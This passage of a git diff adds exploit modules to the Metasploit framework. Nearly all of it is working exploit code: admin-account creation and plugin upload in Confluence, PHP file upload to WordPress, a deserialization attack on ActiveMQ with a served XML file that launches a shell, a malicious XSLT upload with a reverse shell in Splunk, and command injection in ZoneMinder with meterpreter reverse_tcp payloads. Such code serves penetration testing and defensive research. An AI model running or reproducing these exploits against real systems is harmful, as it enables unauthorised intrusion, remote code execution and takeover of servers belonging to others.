register_options( + [ + Opt::RPORT(8090), + OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/), + OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]), + # The endpoint we target to trigger the vulnerability. + OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]), + # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait. + OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30]) + ] + ) + end + + def check + confluence_version = get_confluence_version + return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version + + # Confluence Server and Confluence Data Center have the same vulnerable version ranges. + if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) || + confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) || + confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) || + confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) || + confluence_version == Rex::Version.new('8.6.0') + return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}") + end + + Exploit::CheckCode::Safe("Confluence version: #{confluence_version}") + end + + # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html + def generate_hash(password) + salt = OpenSSL::Random.random_bytes(16) + iterations = 10000 + digest = OpenSSL::Digest.new('SHA1') + + key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest) + salted_key = salt + key + encoded_hash = Base64.strict_encode64(salted_key) + + '{PKCS5S2}' + encoded_hash + end + + def create_zip + zip_file = Rex::Zip::Archive.new + + # exportDescriptor.properties needs to be present in the zip file in order for it to be valid. + export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties')) + zip_file.add_file('exportDescriptor.properties', export_descriptor) + + entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml')) + entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase) + entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME']) + entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD'])) + + zip_file.add_file('entities.xml', entities_xml) + zip_file.pack + end + + def upload_backup + zip_file = create_zip + post_data = Rex::MIME::Message.new + post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"') + post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"') + post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"") + + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'keep_cookies' => true, + 'headers' => { + 'X-Atlassian-Token' => 'no-check' + }, + 'vars_get' => { + 'synchronous' => 'true' + } + }, 120) + + fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200 + print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'") + end + + def exploit + print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") + + # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password + upload_backup + + # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system. + payload_endpoint = rand_text_alphanumeric(8) + plugin_key = rand_text_alpha(8) + begin + payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint) + upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD']) + trigger_payload_plugin(payload_endpoint) + ensure + delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD']) + end + end +end diff --git a/modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb b/modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb new file mode 100644 index 0000000000..a02e170862 --- /dev/null +++ b/modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Royal Elementor Addons RCE', + 'Description' => %q{ + Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79). + }, + 'Author' => [ + 'Fioravante Souza', # Vulnerability discovery + 'Valentin Lobstein' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-5360'], + ['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'], + ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34'] + ], + 'Platform' => ['unix', 'linux', 'win', 'php'], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2023-11-23', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + return CheckCode::Unknown unless wordpress_and_online? + + wp_version = wordpress_version + print_status("WordPress Version: #{wp_version}") if wp_version + + check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79') + + if check_code.code != 'appears' + return CheckCode::Safe + end + + plugin_version = check_code.details[:version] + print_good("Detected Royal Elementor Addons version: #{plugin_version}") + return CheckCode::Appears + end + + def exploit + print_status('Attempting to retrieve nonce...') + nonce = retrieve_nonce + + print_status('Sending payload') + uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + + data = { + 'action' => 'wpr_addons_upload_file', + 'max_file_size' => rand(10001), + 'allowed_file_types' => 'ph$p', + 'triggering_event' => 'click', + 'wpr_addons_nonce' => nonce + } + + file_content = '' + + file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p" + + post_data = Rex::MIME::Message.new + post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"") + data.each_pair do |key, value| + post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"") + end + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + unless res + fail_with(Failure::Unreachable, 'No response received from the target') + end + + if res.code == 200 && res.body.include?('success') + print_good('Payload uploaded successfully') + response_data = JSON.parse(res.body) + if response_data.key?('data') && response_data['data'].key?('url') + file_url = response_data['data']['url'] + print_status('Triggering the payload') + send_request_cgi({ + 'uri' => file_url, + 'method' => 'GET' + }) + + else + fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response') + end + else + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') + end + end + + def retrieve_nonce + res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET') + + fail_with(Failure::Unreachable, 'No response received from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200 + + match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/) + fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil? + + nonce = JSON.parse(match[1])['nonce'] + fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil? + + print_good("Nonce found in response: #{nonce.inspect}") + nonce + end +end diff --git a/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb b/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb new file mode 100644 index 0000000000..4f8e45ff16 --- /dev/null +++ b/modules/exploits/multi/misc/apache_activemq_rce_cve_2023_46604.rb @@ -0,0 +1,199 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache + ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to + 5.16.6, and all versions before 5.15.16. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'X1r0z', # Original technical analysis & exploit + 'sfewer-r7', # MSF exploit & Rapid7 analysis + ], + 'References' => [ + ['CVE', '2023-46604'], + ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'], + ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'], + ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'], + ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt'] + ], + 'DisclosureDate' => '2023-10-27', + 'Privileged' => false, + 'Platform' => %w[win linux unix], + 'Arch' => [ARCH_CMD], + # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the + # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will + # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive. + 'Stance' => Stance::Aggressive, + 'Targets' => [ + [ + 'Windows', + { + 'Platform' => 'win' + } + ], + [ + 'Linux', + { + 'Platform' => 'linux' + } + ], + [ + 'Unix', + { + 'Platform' => 'unix' + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + # By default ActiveMQ listens for OpenWire requests on TCP port 61616. + 'RPORT' => 61616, + # The maximum time in seconds to wait for a session. + 'WfsDelay' => 30 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + connect + + res = sock.get_once + + disconnect + + return CheckCode::Unknown unless res + + len, _, magic = res.unpack('NCZ*') + + return CheckCode::Unknown unless res.length == len + 4 + + return CheckCode::Unknown unless magic == 'ActiveMQ' + + return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/ + + version = Rex::Version.new(::Regexp.last_match(1)) + + ranges = [ + ['5.18.0', '5.18.2'], + ['5.17.0', '5.17.5'], + ['5.16.0', '5.16.6'], + ['0.0.0', '5.15.15'] + ] + + ranges.each do |min, max| + if version.between?(Rex::Version.new(min), Rex::Version.new(max)) + return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}") + end + end + + Exploit::CheckCode::Safe("Apache ActiveMQ #{version}") + end + + def exploit + # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag. + if payload.encoded.include? ']]>' + fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>') + end + + start_service + + connect + + # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To + # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we + # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to + # run an attacker supplied command line via java.lang.ProcessBuilder.start. + clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext' + + # 31 is the EXCEPTION_RESPONSE data type. + data = [31].pack('C') + # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id. + data << [0].pack('N') + # and a 1 byte boolean for response required. + data << [0].pack('C') + # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID. + data << [0].pack('N') + # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall. + data << [1].pack('C') + # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string. + data << [1].pack('C') + # First 2 bytes are the length. + data << [clazz.length].pack('n') + # Then the string data. This is the class name to instantiate. + data << clazz + # Same again for the method string. This is the single string parameter used during class instantiation. + data << [1].pack('C') + data << [get_uri.length].pack('n') + data << get_uri + + sock.puts([data.length].pack('N') + data) + + retry_until_truthy(timeout: datastore['WfsDelay']) do + !handler_enabled? || session_created? + end + + handler + ensure + cleanup + end + + def on_request_uri(cli, request) + if request.uri != get_resource + super + end + + case target['Platform'] + when 'win' + shell = 'cmd.exe' + flag = '/c' + when 'linux', 'unix' + shell = '/bin/sh' + flag = '-c' + end + + xml = %( + + + + + #{shell} + #{flag} + + + + +) + + send_response(cli, xml, { + 'Content-Type' => 'application/xml', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) + + print_status('Sent ClassPathXmlApplicationContext configuration file.') + end + +end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index dacd058d6d..1df274dee1 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -69,7 +69,13 @@ class MetasploitModule < Msf::Exploit::Remote ["metasploit", "JMXPayloadMBean.class"], ["metasploit", "JMXPayload.class"], ] - @jar.add_files(paths, MetasploitPayloads.path('java')) + + @jar.add_file('metasploit/', '') + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + @jar.add_file(path_parts.join('/'), contents) + end end if request.uri =~ /mlet$/ diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 2838deb488..b74350a310 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -173,7 +173,13 @@ class MetasploitModule < Msf::Exploit::Remote [ "metasploit", "RMILoader.class" ], [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, MetasploitPayloads.path('java')) + + jar.add_file('metasploit/', '') # create metasploit dir + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + jar.add_file(path_parts.join('/'), contents) + end send_response(cli, jar.pack, { diff --git a/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb b/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb new file mode 100644 index 0000000000..c314f2fe8e --- /dev/null +++ b/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb @@ -0,0 +1,411 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Splunk Authenticated XSLT Upload RCE', + 'Description' => %q{ + This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise. + The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages + a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid + credentials, typically 'admin:changeme' by default. + + The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the + vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript' + capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides + the attacker with remote control over the compromised Splunk instance. The module is designed to work + seamlessly, ensuring successful exploitation under the right conditions. + }, + 'Author' => [ + 'nathan', # Writeup and PoC + 'Valentin Lobstein', # Metasploit module + 'h00die', # Assistance in module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-46214'], + ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'], + ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory + ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '2023-11-28', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8000 + + }, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']), + OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']), + OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]), + ] + ) + end + + def exploit + cookie_string ||= authenticate + unless cookie_string + fail_with(Failure::NoAccess, 'Authentication failed') + end + + sleep(0.3) + csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string) + unless csrf_token + fail_with(Failure::NoAccess, 'Failed to obtain CSRF token') + end + + sleep(0.3) + malicious_xsl = generate_malicious_xsl + text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string) + unless text_value + fail_with(Failure::Unknown, 'File upload failed') + end + + sleep(0.3) + jsid = get_job_search_id(csrf_token, updated_cookie_string) + unless jsid + fail_with(Failure::Unknown, 'Creating job failed') + end + + sleep(0.3) + unless trigger_xslt_transform(jsid, text_value, updated_cookie_string) + fail_with(Failure::Unknown, 'XSLT Transform failed') + end + + sleep(0.3) + unless trigger_payload(jsid, csrf_token, updated_cookie_string) + fail_with(Failure::Unknown, 'Failed to execute reverse shell') + end + end + + def check + unless splunk? + return CheckCode::Unknown('Target does not appear to be a Splunk instance') + end + + begin + cookie_string = authenticate + rescue RuntimeError + cookie_string = nil + end + + unless cookie_string + return CheckCode::Detected('The target is Splunk but authentication failed') + end + + version = get_version_authenticated(cookie_string) + return CheckCode::Detected('Unable to determine Splunk version') unless version + + if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) || + version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1')) + return CheckCode::Appears("Exploitable version found: #{version}") + end + + CheckCode::Safe("Non-vulnerable version found: #{version}") + end + + def trigger_payload(jsid, csrf_token, cookie_string) + return nil unless jsid && csrf_token + + runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs') + runshellscript_data = { + 'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\"" + } + + upload_headers = { + 'X-Requested-With' => 'XMLHttpRequest', + 'X-Splunk-Form-Key' => csrf_token, + 'Cookie' => cookie_string + } + + print_status("Executing payload at #{runshellscript_url}") + res = send_request_cgi( + 'uri' => runshellscript_url, + 'method' => 'POST', + 'vars_post' => runshellscript_data, + 'headers' => upload_headers + ) + + unless res + print_error('Failed to execute payload: No response received') + return nil + end + + if res.code == 201 + print_good('Payload executed successfully') + return true + end + + print_error("Failed to execute payload: Server returned status code #{res.code}") + return nil + end + + def trigger_xslt_transform(jsid, text_value, cookie_string) + return nil unless jsid && text_value + + exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results') + exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl" + + xslt_headers = { + 'X-Splunk-Module' => 'Splunk.Module.DispatchingModule', + 'Connection' => 'close', + 'Upgrade-Insecure-Requests' => '1', + 'Accept-Language' => 'en-US,en;q=0.5', + 'Accept-Encoding' => 'gzip, deflate', + 'X-Requested-With' => 'XMLHttpRequest', + 'Cookie' => cookie_string + } + + print_status("Triggering XSLT transformation at #{exploit_endpoint}") + res = send_request_cgi( + 'uri' => exploit_endpoint, + 'method' => 'GET', + 'headers' => xslt_headers + ) + + unless res + print_error('Failed to trigger XSLT transformation: No response received') + return nil + end + + if res.code == 200 + print_good('XSLT transformation triggered successfully') + return true + end + + print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}") + return nil + end + + def generate_malicious_xsl + encoded_payload = Rex::Text.html_encode(payload.encoded) + + xsl_template = <<~XSL + + + + + #{encoded_payload} + + + + XSL + + xsl_template + end + + def get_job_search_id(csrf_token, cookie_string) + return nil unless csrf_token + + jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs') + + upload_headers = { + 'X-Requested-With' => 'XMLHttpRequest', + 'X-Splunk-Form-Key' => csrf_token, + 'Cookie' => cookie_string + } + + jsid_data = { + 'search' => '|search test|head 1' + } + + print_status("Sending job search request to #{jsid_url}") + res = send_request_cgi( + 'uri' => jsid_url, + 'method' => 'POST', + 'vars_post' => jsid_data, + 'headers' => upload_headers, + 'vars_get' => { 'output_mode' => 'json' } + ) + + unless res + print_error('Failed to initiate job search: No response received') + return nil + end + + jsid = res.get_json_document['sid'] + return jsid if jsid + end + + def upload_malicious_file(file_content, csrf_token, cookie_string) + unless csrf_token + print_error('CSRF token not found') + return nil + end + + post_data = Rex::MIME::Message.new + post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"") + + upload_headers = { + 'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*', + 'X-Requested-With' => 'XMLHttpRequest', + 'X-Splunk-Form-Key' => csrf_token, + 'Cookie' => cookie_string + } + + upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview') + + res = send_request_cgi( + 'uri' => upload_url, + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => upload_headers, + 'vars_get' => { + 'output_mode' => 'json', + 'props.NO_BINARY_CHECK' => 1, + 'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl" + } + ) + + unless res + print_error('Malicious file upload failed: No response received') + return nil + end + + if res.headers['Content-Type'].include?('application/json') + response_data = res.get_json_document + else + print_error('Response is not in JSON format') + return nil + end + + if response_data.empty? + print_error('Failed to parse JSON or received empty JSON') + return nil + end + + if response_data['messages'] && !response_data['messages'].empty? + text_value = response_data.dig('messages', 0, 'text') + if text_value.include?('concatenate') + print_error('Server responded with an error: concatenate found in the response') + return nil + end + + print_good('Malicious file uploaded successfully') + return text_value + end + + print_error('Server did not return a valid "messages" field') + return nil + end + + def fetch_csrf_token(cookie_string) + print_status('Extracting CSRF token from cookies') + + csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/) + + if csrf_token_match + csrf_token = csrf_token_match[1] + print_good("CSRF token successfully extracted: #{csrf_token}") + + en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => en_us_url, + 'cookie' => cookie_string + }) + + updated_cookie_string = cookie_string + + if res && res.code == 200 + new_cookies = res.get_cookies + updated_cookie_string += new_cookies + end + + return [csrf_token, updated_cookie_string] + end + + fail_with(Failure::NotFound, 'CSRF token not found in cookies') + end + + def get_version_authenticated(cookie_string) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']), + 'vars_get' => { + 'output_mode' => 'json' + }, + 'headers' => { + 'Cookie' => cookie_string + } + }) + + return nil unless res&.code == 200 + + body = res.get_json_document + Rex::Version.new(body.dig('generator', 'version')) + end + + def splunk? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/en-US/account/login') + }) + + return true if res&.body =~ /Splunk/ + + false + end + + def authenticate + login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => login_url + }) + + unless res + fail_with(Failure::Unreachable, 'No response received for authentication request') + end + + cval_value = res.get_cookies.match(/cval=([^;]*)/)[1] + + unless cval_value + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication') + end + + auth_payload = { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cval' => cval_value, + 'set_has_logged_in' => 'false' + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => login_url, + 'cookie' => res.get_cookies, + 'vars_post' => auth_payload + }) + + unless res && res.code == 200 + fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance') + end + + print_good('Successfully authenticated on the Splunk instance') + res.get_cookies + end +end diff --git a/modules/exploits/unix/webapp/zoneminder_snapshots.rb b/modules/exploits/unix/webapp/zoneminder_snapshots.rb new file mode 100644 index 0000000000..e88250e695 --- /dev/null +++ b/modules/exploits/unix/webapp/zoneminder_snapshots.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ZoneMinder Snapshots Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection + in zoneminder that can be exploited by appending a command + to the "create monitor ids[]"-action of the snapshot view. + Affected versions: < 1.36.33, < 1.37.33 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'UnblvR', # Discovery + 'whotwagner' # Metasploit Module + ], + 'References' => [ + [ 'CVE', '2023-26035' ], + [ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr'] + ], + 'Privileged' => false, + 'Platform' => ['linux', 'unix'], + 'Targets' => [ + [ + 'nix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ], + [ + 'Linux (Dropper)', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } + ], + ], + 'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-02-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/']) + ]) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + return Exploit::CheckCode::Unknown('No response from the web service') if res.nil? + return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 + + unless res.body.include?('ZoneMinder') + return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server') + end + + csrf_magic = get_csrf_magic(res) + # This check executes a sleep-command and checks the response-time + sleep_time = rand(5..10) + data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}" + data += "&__csrf_magic=#{csrf_magic}" if csrf_magic + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s, + 'keep_cookies' => true + ) + end + return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res + + print_status("Elapsed time: #{elapsed_time} seconds.") + if sleep_time < elapsed_time + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe('Target is not vulnerable') + end + + def execute_command(cmd, _opts = {}) + command = Rex::Text.uri_encode(cmd) + print_status('Sending payload') + data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}" + data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'data' => data.to_s + ) + print_good('Payload sent') + end + + def exploit + # get magic csrf-token + print_status('Fetching CSRF Token') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + + if res && res.code == 200 + # parse token + @csrf_magic = get_csrf_magic(res) + unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/ + fail_with(Failure::UnexpectedReply, 'Unable to parse token.') + end + else + fail_with(Failure::UnexpectedReply, 'Unable to fetch token.') + end + print_good("Got Token: #{@csrf_magic}") + # send payload + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + private + + def get_csrf_magic(res) + return if res.nil? + + res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text 